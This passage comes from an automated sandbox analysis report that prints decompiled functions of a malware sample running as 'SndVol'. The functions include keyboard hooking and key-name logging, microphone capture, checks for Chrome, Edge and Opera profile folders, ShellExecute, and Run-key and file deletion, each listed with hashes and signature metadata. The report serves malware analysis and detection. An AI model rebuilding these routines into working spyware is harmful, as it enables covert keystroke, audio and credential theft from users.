				_t39 = (_t37 & 0xfffffff8) - 0x1c;
				E0040D936( &_v28, 0x30, "alarm.wav");
				if(PathFileExistsW(E00401F04( &_v28)) != 0) {
					L7:
					E0041AD12(E00401F04( &_v28));
				} else {
					if(E00405B05(0x4660a4) == 0) {
						E0041C444(0x475968, E00401F04( &_v28));
						goto L7;
					} else {
						_t43 =  *0x474ad2;
						_t28 = _t39 - 0x18;
						_push(0x46c92c);
						if( *0x474ad2 == 0) {
							E00402093(__ebx, _t28, 0x4660a4, _t36);
							_t29 = 0x475598;
						} else {
							E00402093(__ebx, _t28, 0x4660a4, _t36);
							_t29 = 0x475980;
						}
						_push(0xa1);
						E00404AA1(_t29, 0x4660a4, _t43);
					}
				}
				return E00401F09();
			}










                                    0x0041ac6f
                                    0x0041ac7e
                                    0x0041ac96
                                    0x0041acf4
                                    0x0041acff
                                    0x0041ac98
                                    0x0041acab
                                    0x0041acef
                                    0x00000000
                                    0x0041acad
                                    0x0041acb0
                                    0x0041acb7
                                    0x0041acb9
                                    0x0041acbe
                                    0x0041accc
                                    0x0041acd1
                                    0x0041acc0
                                    0x0041acc0
                                    0x0041acc5
                                    0x0041acc5
                                    0x0041acd6
                                    0x0041acdb
                                    0x0041acdb
                                    0x0041acab
                                    0x0041ad11

                                    APIs
                                    • PathFileExistsW.SHLWAPI(00000000), ref: 0041AC8E
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExistsFilePath
                                    • String ID: alarm.wav$hYG
                                    • API String ID: 1174141254-2782910960
                                    • Opcode ID: abd834b0dea053d2d48ec4ad168e7954304e1a836854882d0a6751a62801d20c
                                    • Instruction ID: 2d5bd3f019d2bfc7ba24b2bad75d1aebe1f24467edb0d089a5353978a3fcdda4
                                    • Opcode Fuzzy Hash: abd834b0dea053d2d48ec4ad168e7954304e1a836854882d0a6751a62801d20c
                                    • Instruction Fuzzy Hash: 1A0192B060860167CA14B73698166EE76565B80318F10407FB68A262E2FFBC9D99C6CF
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040AF9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 84%
                                    			E0040AF9F(void* __ebx, struct HHOOK__** __ecx, void* __edx) {
				char _v28;
				void* __edi;
				void* __ebp;
				struct HHOOK__** _t30;
				void* _t31;
				void* _t32;

				_t30 = __ecx;
				_t37 =  *((char*)(__ecx + 0x4a));
				if( *((char*)(__ecx + 0x4a)) == 0) {
					__eflags = 0;
					return 0;
				}
				E00402093(__ebx,  &_v28, __edx, _t31, "Online Keylogger Stopped");
				E0041BBB0(_t32 - 0x18,  &_v28);
				E0040B0B2(__ebx, _t30, _t37);
				E00401FD8();
				E00402093(__ebx, _t32,  &_v28, _t31, "Online Keylogger Stopped");
				E00402093(__ebx, _t32 - 0xffffffffffffffe8,  &_v28, _t31, "i");
				E0041B441(__ebx, "Online Keylogger Stopped");
				_t30[0x12] = 0;
				CloseHandle(_t30[0xf]);
				if(_t30[0x12] == 0 &&  *_t30 != 0) {
					UnhookWindowsHookEx( *_t30);
					 *_t30 =  *_t30 & 0x00000000;
				}
				return 1;
			}









                                    0x0040afa6
                                    0x0040afa9
                                    0x0040afad
                                    0x0040b022
                                    0x00000000
                                    0x0040b022
                                    0x0040afb8
                                    0x0040afc5
                                    0x0040afcc
                                    0x0040afd4
                                    0x0040afdf
                                    0x0040afee
                                    0x0040aff3
                                    0x0040affb
                                    0x0040b002
                                    0x0040b00c
                                    0x0040b015
                                    0x0040b01b
                                    0x0040b01b
                                    0x00000000

                                    APIs
                                      • Part of subcall function 0040B0B2: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B0C0
                                      • Part of subcall function 0040B0B2: wsprintfW.USER32 ref: 0040B141
                                      • Part of subcall function 0041B441: GetLocalTime.KERNEL32(00000000), ref: 0041B45B
                                    • CloseHandle.KERNEL32(?), ref: 0040B002
                                    • UnhookWindowsHookEx.USER32 ref: 0040B015
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                                    • String ID: Online Keylogger Stopped
                                    • API String ID: 1623830855-1496645233
                                    • Opcode ID: 67be3e4687ad294cd2f657ba60aa5e83e712e155c6fbc377732e3260af29fb84
                                    • Instruction ID: 2d7d893db6850fb000fc0b7831d2882f6f2c284534eda42af499b39208ba79be
                                    • Opcode Fuzzy Hash: 67be3e4687ad294cd2f657ba60aa5e83e712e155c6fbc377732e3260af29fb84
                                    • Instruction Fuzzy Hash: 660192316002109BD7257B65C80B7BE7AA59B41305F4004AEEA82226D2EBB91855D7DF
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004017EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E004017EC(signed int __ecx, void* __edx, void* __eflags) {
				void* __ebp;
				long _t10;
				signed int _t17;
				struct wavehdr_tag* _t25;

				_t28 = __eflags;
				E00401E65(0x474d58, __edx, 0x474d58, __eflags, __ecx);
				E00401F9D( *0x472a80);
				_t17 = __ecx << 5;
				_t25 =  *0x474d94 + _t17;
				_t25->lpData = E00401FAB(E00401E65(0x474d58, __edx, 0x474d58, _t28, __ecx));
				_t10 =  *0x472a80; // 0x0
				_t25->dwBufferLength = _t10;
				_t25->dwBytesRecorded = 0;
				_t25->dwUser = 0;
				_t25->dwFlags = 0;
				_t25->dwLoops = 0;
				waveInPrepareHeader( *0x472ac8, _t25, 0x20);
				return waveInAddBuffer( *0x472ac8,  *0x474d94 + _t17, 0x20);
			}







                                    0x004017ec
                                    0x00401800
                                    0x00401807
                                    0x00401814
                                    0x0040181a
                                    0x00401828
                                    0x0040182a
                                    0x0040182f
                                    0x00401837
                                    0x0040183a
                                    0x0040183d
                                    0x00401840
                                    0x00401849
                                    0x00401869

                                    APIs
                                    • waveInPrepareHeader.WINMM(?,00000020,?,?,00476B40,00474EE0,?,00000000,00401A15), ref: 00401849
                                    • waveInAddBuffer.WINMM(?,00000020,?,00000000,00401A15), ref: 0040185F
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: wave$BufferHeaderPrepare
                                    • String ID: XMG
                                    • API String ID: 2315374483-813777761
                                    • Opcode ID: 84db4ebe13300bab6e2e85a4a45c37fcad2fa82ad9d185d6556c2711ca00a3b1
                                    • Instruction ID: 6f1d19605e244f5f119b09d66236675289974365e05be472c2159163c6862827
                                    • Opcode Fuzzy Hash: 84db4ebe13300bab6e2e85a4a45c37fcad2fa82ad9d185d6556c2711ca00a3b1
                                    • Instruction Fuzzy Hash: D3016D71700301AFD7209F75EC48969BBA9FB89355701413AF409D3762EB759C90CBA8
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004489B6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 29%
                                    			E004489B6(void* __ecx, void* __esi, void* __eflags, char _a4) {
				signed int _v8;
				signed int _t5;
				intOrPtr* _t18;
				signed int _t20;

				_t13 = __ecx;
				_push(__ecx);
				_t5 =  *0x47100c; // 0xbb2d687
				_v8 = _t5 ^ _t20;
				_push(__esi);
				_t18 = E0044839A(0x15, "IsValidLocaleName", 0x45f1d8, "IsValidLocaleName");
				if(_t18 == 0) {
					_t3 =  &_a4; // 0x444a3a
					IsValidLocale(E00448B0B(_t13, _t18, __eflags,  *_t3, 0), 1);
				} else {
					_t2 =  &_a4; // 0x444a3a
					 *0x4594fc( *_t2);
					 *_t18();
				}
				return E00434F3B(_v8 ^ _t20);
			}







                                    0x004489b6
                                    0x004489bb
                                    0x004489bc
                                    0x004489c3
                                    0x004489c6
                                    0x004489dd
                                    0x004489e4
                                    0x004489f9
                                    0x00448a02
                                    0x004489e6
                                    0x004489e6
                                    0x004489eb
                                    0x004489f1
                                    0x004489f1
                                    0x00448a16

                                    APIs
                                    • IsValidLocale.KERNEL32(00000000,:JD,00000000,00000001,?,?,00444A3A,?,?,0044441A,?,00000004), ref: 00448A02
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: LocaleValid
                                    • String ID: :JD$IsValidLocaleName
                                    • API String ID: 1901932003-4284837073
                                    • Opcode ID: 3e8a7637d397ee6081e064619c1c062965aab6a3a575e50bfd46f824d2566911
                                    • Instruction ID: 02a1cb491ad68d0f9f617b926cee22d09cb4e16df6869f72cb87ba26f5d444ab
                                    • Opcode Fuzzy Hash: 3e8a7637d397ee6081e064619c1c062965aab6a3a575e50bfd46f824d2566911
                                    • Instruction Fuzzy Hash: 2FF0BE70A80608F7DA10AB61DC06FAE7B54CB45B12F10016AFE056B292CEB96E45969E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040C474 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0040C474(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __eflags) {
				char _v28;
				void* __ebp;
				int _t10;
				void* _t22;
				void* _t25;
				void* _t26;
				void* _t27;

				_t25 = __edi;
				_t24 = __edx;
				_t16 = __ebx;
				_t26 = __ecx;
				E0040417E(__ebx,  &_v28, __edx, _t27, E0043C01F(__ebx, __ecx, __eflags, L"UserProfile"));
				L00409052(__ebx,  &_v28, _t25, _t27, L"\\AppData\\Local\\Microsoft\\Edge\\");
				_t10 = PathFileExistsW(E00401F04( &_v28));
				_t22 = _t26;
				_t29 = _t10;
				if(_t10 == 0) {
					E0040417E(_t16, _t22, _t24, _t27, 0x466468);
				} else {
					E00403262(_t16, _t22, _t27, _t29,  &_v28);
				}
				E00401F09();
				return _t26;
			}










                                    0x0040c474
                                    0x0040c474
                                    0x0040c474
                                    0x0040c480
                                    0x0040c48c
                                    0x0040c499
                                    0x0040c4a7
                                    0x0040c4ad
                                    0x0040c4af
                                    0x0040c4b1
                                    0x0040c4c3
                                    0x0040c4b3
                                    0x0040c4b7
                                    0x0040c4b7
                                    0x0040c4cb
                                    0x0040c4d6

                                    APIs
                                    • PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000), ref: 0040C4A7
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExistsFilePath
                                    • String ID: UserProfile$\AppData\Local\Microsoft\Edge\
                                    • API String ID: 1174141254-2800177040
                                    • Opcode ID: 56899bdedd355725e80bf7113bd2de435c2157462b81d6ed82c527470372c54d
                                    • Instruction ID: 05d2aebf50c1209a59ffcdda8fe18e414b841527a752bd4c794abe9894b06bae
                                    • Opcode Fuzzy Hash: 56899bdedd355725e80bf7113bd2de435c2157462b81d6ed82c527470372c54d
                                    • Instruction Fuzzy Hash: 50F05E31A0021996C604BBF69C578FF7B2C9D10705B10017FB601B21D2EE7C994186EE
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040C411 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0040C411(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __eflags) {
				char _v28;
				void* __ebp;
				int _t10;
				void* _t22;
				void* _t25;
				void* _t26;
				void* _t27;

				_t25 = __edi;
				_t24 = __edx;
				_t16 = __ebx;
				_t26 = __ecx;
				E0040417E(__ebx,  &_v28, __edx, _t27, E0043C01F(__ebx, __ecx, __eflags, L"UserProfile"));
				L00409052(__ebx,  &_v28, _t25, _t27, L"\\AppData\\Local\\Google\\Chrome\\");
				_t10 = PathFileExistsW(E00401F04( &_v28));
				_t22 = _t26;
				_t29 = _t10;
				if(_t10 == 0) {
					E0040417E(_t16, _t22, _t24, _t27, 0x466468);
				} else {
					E00403262(_t16, _t22, _t27, _t29,  &_v28);
				}
				E00401F09();
				return _t26;
			}










                                    0x0040c411
                                    0x0040c411
                                    0x0040c411
                                    0x0040c41d
                                    0x0040c429
                                    0x0040c436
                                    0x0040c444
                                    0x0040c44a
                                    0x0040c44c
                                    0x0040c44e
                                    0x0040c460
                                    0x0040c450
                                    0x0040c454
                                    0x0040c454
                                    0x0040c468
                                    0x0040c473

                                    APIs
                                    • PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Google\Chrome\,00000000), ref: 0040C444
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExistsFilePath
                                    • String ID: UserProfile$\AppData\Local\Google\Chrome\
                                    • API String ID: 1174141254-4188645398
                                    • Opcode ID: a93aef77cf18ad0c7e3a374de2797812def865f9e7b01551c19911d054c77309
                                    • Instruction ID: e73a0e244010cd4e63437ce1114f6b64dce6dbad5df37fcc655cbeaa5edaa38f
                                    • Opcode Fuzzy Hash: a93aef77cf18ad0c7e3a374de2797812def865f9e7b01551c19911d054c77309
                                    • Instruction Fuzzy Hash: 8DF05E30A0021996C604BBB69C578BF7B2C9D14705B40017FB601B21D3EE78994586EE
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040C4D7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0040C4D7(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __eflags) {
				char _v28;
				void* __ebp;
				int _t10;
				void* _t22;
				void* _t25;
				void* _t26;
				void* _t27;

				_t25 = __edi;
				_t24 = __edx;
				_t16 = __ebx;
				_t26 = __ecx;
				E0040417E(__ebx,  &_v28, __edx, _t27, E0043C01F(__ebx, __ecx, __eflags, L"AppData"));
				L00409052(__ebx,  &_v28, _t25, _t27, L"\\Opera Software\\Opera Stable\\");
				_t10 = PathFileExistsW(E00401F04( &_v28));
				_t22 = _t26;
				_t29 = _t10;
				if(_t10 == 0) {
					E0040417E(_t16, _t22, _t24, _t27, 0x466468);
				} else {
					E00403262(_t16, _t22, _t27, _t29,  &_v28);
				}
				E00401F09();
				return _t26;
			}










                                    0x0040c4d7
                                    0x0040c4d7
                                    0x0040c4d7
                                    0x0040c4e3
                                    0x0040c4ef
                                    0x0040c4fc
                                    0x0040c50a
                                    0x0040c510
                                    0x0040c512
                                    0x0040c514
                                    0x0040c526
                                    0x0040c516
                                    0x0040c51a
                                    0x0040c51a
                                    0x0040c52e
                                    0x0040c539

                                    APIs
                                    • PathFileExistsW.SHLWAPI(00000000,\Opera Software\Opera Stable\,00000000), ref: 0040C50A
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExistsFilePath
                                    • String ID: AppData$\Opera Software\Opera Stable\
                                    • API String ID: 1174141254-1629609700
                                    • Opcode ID: 82a4d79f2330b18e6395d755a2daafc8eb99cb53e7a5e34da467f469eb2af211
                                    • Instruction ID: 11d94819d488125982c5d00c7ee49dea5b0839101c76f43ec145a19b6d1d3d1a
                                    • Opcode Fuzzy Hash: 82a4d79f2330b18e6395d755a2daafc8eb99cb53e7a5e34da467f469eb2af211
                                    • Instruction Fuzzy Hash: 50F05E30A00219A6CA04BBF69C578EF7B6C9D14709B00017BB602B21D2EE789D4586EA
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040B594 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 64%
                                    			E0040B594(void* __ebx, void* __ecx, void* __edx) {
				void* _t4;
				void* _t7;
				void* _t10;
				signed int _t12;
				void* _t13;
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;

				_t17 = __edx;
				_t10 = __ebx;
				_t18 = __ecx;
				_t12 = GetKeyState(0x11) & 0x0000ffff;
				_t4 =  *((intOrPtr*)(_t18 + 0x54)) - 0xa4;
				if(_t4 == 0) {
					_t13 = _t20 - 0x18;
					_push("[AltL]");
					L6:
					E00402093(_t10, _t13, _t17, _t19);
					return E0040A55F(_t18);
				}
				_t7 = _t4 - 1;
				if(_t7 == 0) {
					if(_t12 == 0) {
						_t13 = _t20 - 0x18;
						_push("[AltR]");
						goto L6;
					}
					return _t7;
				} else {
					E0040A3E0(_t18, _t20 - 0x18);
					return E0040A584(_t18);
				}
			}












                                    0x0040b594
                                    0x0040b594
                                    0x0040b597
                                    0x0040b59f
                                    0x0040b5a5
                                    0x0040b5aa
                                    0x0040b5d9
                                    0x0040b5db
                                    0x0040b5e0
                                    0x0040b5e0
                                    0x00000000
                                    0x0040b5e7
                                    0x0040b5ac
                                    0x0040b5af
                                    0x0040b5c8
                                    0x0040b5cd
                                    0x0040b5cf
                                    0x00000000
                                    0x0040b5cf
                                    0x0040b5ed
                                    0x0040b5b1
                                    0x0040b5b7
                                    0x0040b5c4
                                    0x0040b5c4

                                    APIs
                                    • GetKeyState.USER32 ref: 0040B599
                                      • Part of subcall function 0040A3E0: GetForegroundWindow.USER32(004750F0,?,004750F0), ref: 0040A414
                                      • Part of subcall function 0040A3E0: GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A41F
                                      • Part of subcall function 0040A3E0: GetKeyboardLayout.USER32 ref: 0040A426
                                      • Part of subcall function 0040A3E0: GetKeyState.USER32 ref: 0040A430
                                      • Part of subcall function 0040A3E0: GetKeyboardState.USER32(?), ref: 0040A43D
                                      • Part of subcall function 0040A3E0: ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 0040A459
                                      • Part of subcall function 0040A584: SetEvent.KERNEL32(?,?,?,0040B77D,?,?,?,?,?,00000000), ref: 0040A5B0
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: State$KeyboardWindow$EventForegroundLayoutProcessThreadUnicode
                                    • String ID: [AltL]$[AltR]
                                    • API String ID: 3195419117-2658077756
                                    • Opcode ID: 38b111ad328f1563c65d554228bd5194cfda03e72d1420571c47aa7433a1dd8a
                                    • Instruction ID: 5b499cff6aaae3c53dc3e1166fb83c1288de984d5ca86385b07af6415785c0e2
                                    • Opcode Fuzzy Hash: 38b111ad328f1563c65d554228bd5194cfda03e72d1420571c47aa7433a1dd8a
                                    • Instruction Fuzzy Hash: 7AE0652170021066C828323D6D1F66E2951DB41758B4001BFFC426B6CAEABD4E1546CF
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0044EBBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0044EBBC(void* __eflags, char _a4) {
				char _v8;
				intOrPtr _v16;
				char _v20;
				int _t10;
				void* _t12;
				void* _t15;

				E0043A707(_t12,  &_v20, _t15, 0);
				 *0x472a3c =  *0x472a3c & 0x00000000;
				_t2 =  &_a4; // 0x44ee45
				_t10 =  *_t2;
				if(_t10 != 0xfffffffe) {
					if(_t10 != 0xfffffffd) {
						if(_t10 == 0xfffffffc) {
							 *0x472a3c = 1;
							_t10 =  *(_v16 + 8);
						}
					} else {
						 *0x472a3c = 1;
						_t10 = GetACP();
					}
				} else {
					 *0x472a3c = 1;
					_t10 = GetOEMCP();
				}
				if(_v8 == 0) {
					return _t10;
				} else {
					 *(_v20 + 0x350) =  *(_v20 + 0x350) & 0xfffffffd;
					return _t10;
				}
			}









                                    0x0044ebc9
                                    0x0044ebce
                                    0x0044ebd5
                                    0x0044ebd5
                                    0x0044ebdb
                                    0x0044ebf2
                                    0x0044ec09
                                    0x0044ec0e
                                    0x0044ec18
                                    0x0044ec18
                                    0x0044ebf4
                                    0x0044ebf4
                                    0x0044ebfe
                                    0x0044ebfe
                                    0x0044ebdd
                                    0x0044ebdd
                                    0x0044ebe7
                                    0x0044ebe7
                                    0x0044ec1f
                                    0x0044ec2e
                                    0x0044ec21
                                    0x0044ec24
                                    0x00000000
                                    0x0044ec24

                                    APIs
                                    • GetOEMCP.KERNEL32(00000000,?,?,0044EE45,?), ref: 0044EBE7
                                    • GetACP.KERNEL32(00000000,?,?,0044EE45,?), ref: 0044EBFE
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: ED
                                    • API String ID: 0-922066203
                                    • Opcode ID: c5b08800a69d4838b4f5beafbc063674321feb547ffb76a205f46ddd03b66443
                                    • Instruction ID: 3723bb01857b27000bf78524a7ecbebedaa4e366df6777af42876b6e2ced61bd
                                    • Opcode Fuzzy Hash: c5b08800a69d4838b4f5beafbc063674321feb547ffb76a205f46ddd03b66443
                                    • Instruction Fuzzy Hash: D2F0C831400504CBEB20DB59DCC87697771BB00336F144755E5294A6E2C7B59C81CF8D
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004160D8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E004160D8(void* __edx, void* __ebp, void* __eflags, char _a16, void* _a152, void* _a248) {

				_t19 = __edx;
				ShellExecuteW(0, L"open", E00401FAB(E00401E65( &_a16, __edx, __ebp, __eflags, 0)), 0, 0, 1);
				_t2 =  &_a16; // 0x404421
				E00401E8D(_t2, _t19);
				E00401FD8();
				E00401FD8();
				return 0;
			}



                                    0x004160d8
                                    0x004160f6
                                    0x00416fda
                                    0x00416fde
                                    0x00416fea
                                    0x00416ff6
                                    0x00417003

                                    APIs
                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000000), ref: 004160F6
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExecuteShell
                                    • String ID: !D@$open
                                    • API String ID: 587946157-1586967515
                                    • Opcode ID: 10f743ad482c944014a0d043d827a2c0ac224400b3ac9f2fa39d3b895fd40d02
                                    • Instruction ID: b54c84322a7aadc9309bd3b27d264ffe3f69c0628f2b4d52daefdc94275ff8f1
                                    • Opcode Fuzzy Hash: 10f743ad482c944014a0d043d827a2c0ac224400b3ac9f2fa39d3b895fd40d02
                                    • Instruction Fuzzy Hash: 01E012712483059AD614EA72DC91EFEB35CAB50755F400C3FF906514E2EF3C5C49C659
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040B5EE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 67%
                                    			E0040B5EE(void* __ebx, void* __ecx) {
				void* _t4;
				void* _t7;
				signed int _t9;
				void* _t10;
				void* _t12;
				void* _t13;
				void* _t14;
				void* _t15;

				_t7 = __ebx;
				_t13 = __ecx;
				_t9 = GetKeyState(0x12) & 0x0000ffff;
				_t4 =  *((intOrPtr*)(_t13 + 0x54)) - 0xa2;
				if(_t4 == 0) {
					if(_t9 == 0) {
						_t10 = _t15 - 0x18;
						_push("[CtrlL]");
						goto L5;
					}
				} else {
					_t4 = _t4 - 1;
					if(_t4 == 0) {
						_t10 = _t15 - 0x18;
						_push("[CtrlR]");
						L5:
						E00402093(_t7, _t10, _t12, _t14);
						return E0040A55F(_t13);
					}
				}
				return _t4;
			}











                                    0x0040b5ee
                                    0x0040b5f1
                                    0x0040b5f9
                                    0x0040b5ff
                                    0x0040b604
                                    0x0040b61a
                                    0x0040b61f
                                    0x0040b621
                                    0x00000000
                                    0x0040b621
                                    0x0040b606
                                    0x0040b606
                                    0x0040b609
                                    0x0040b60e
                                    0x0040b610
                                    0x0040b626
                                    0x0040b626
                                    0x00000000
                                    0x0040b62d
                                    0x0040b609
                                    0x0040b633

                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: State
                                    • String ID: [CtrlL]$[CtrlR]
                                    • API String ID: 1649606143-2446555240
                                    • Opcode ID: 74451c87ab4e18a563cce8b4b99f8aefb6389db58d63b1dc50ea5b4c36b24e36
                                    • Instruction ID: 0a29407495d8d2227e56f06805126889c23c54001464371f268d9f95623807a6
                                    • Opcode Fuzzy Hash: 74451c87ab4e18a563cce8b4b99f8aefb6389db58d63b1dc50ea5b4c36b24e36
                                    • Instruction Fuzzy Hash: 86E0863174431057C514363D5A2B6792911D752B54F42097FE882676CADAFF8D1603CF
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00413971 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 58%
                                    			E00413971(void* __ecx, short* __edx, short* _a4) {
				void* _v8;
				signed int _t6;

				_push(__ecx);
				if(RegOpenKeyExW(__ecx, __edx, 0, 2,  &_v8) == 0) {
					_t6 = RegDeleteValueW(_v8, _a4);
					asm("sbb al, al");
					return  ~_t6 + 1;
				}
				return 0;
			}





                                    0x00413974
                                    0x00413987
                                    0x00413993
                                    0x0041399b
                                    0x00000000
                                    0x0041399d
                                    0x00000000

                                    APIs
                                    • RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,00000000,00000002,?,80000002,80000002,0040D092,00000000,004752D8,004752F0,?,pth_unenc), ref: 0041397F
                                    • RegDeleteValueW.ADVAPI32(?,?,?,pth_unenc), ref: 00413993
                                    Strings
                                    • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 0041397D
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: DeleteOpenValue
                                    • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                    • API String ID: 2654517830-1051519024
                                    • Opcode ID: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                                    • Instruction ID: 598427e10cd0738da965e261ca374841197e4f19c32ff2ed64c8c0b72025bf2e
                                    • Opcode Fuzzy Hash: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                                    • Instruction Fuzzy Hash: C0E08C71254208FBDF104F71DC06FEA772CDB01B02F1046A9BA0692091C6668E159664
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040B7B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0040B7B7(void* __ecx) {
				signed int _t12;
				signed int _t13;
				void* _t19;

				_t19 = __ecx;
				_t1 = _t19 + 0x68; // 0x475158
				_t13 = _t12 & 0xffffff00 | DeleteFileW(E00401F04(_t1)) != 0x00000000;
				if(E004077B7(DeleteFileW(E00401F04(_t1))) != 0) {
					_t5 = _t19 + 0x80; // 0x475170
					RemoveDirectoryW(E00401F04(_t5));
				}
				return _t13;
			}






                                    0x0040b7b9
                                    0x0040b7bb
                                    0x0040b7d7
                                    0x0040b7e1
                                    0x0040b7e3
                                    0x0040b7ef
                                    0x0040b7ef
                                    0x0040b7f9

                                    APIs
                                    • DeleteFileW.KERNEL32(00000000,?,pth_unenc), ref: 0040B7C4
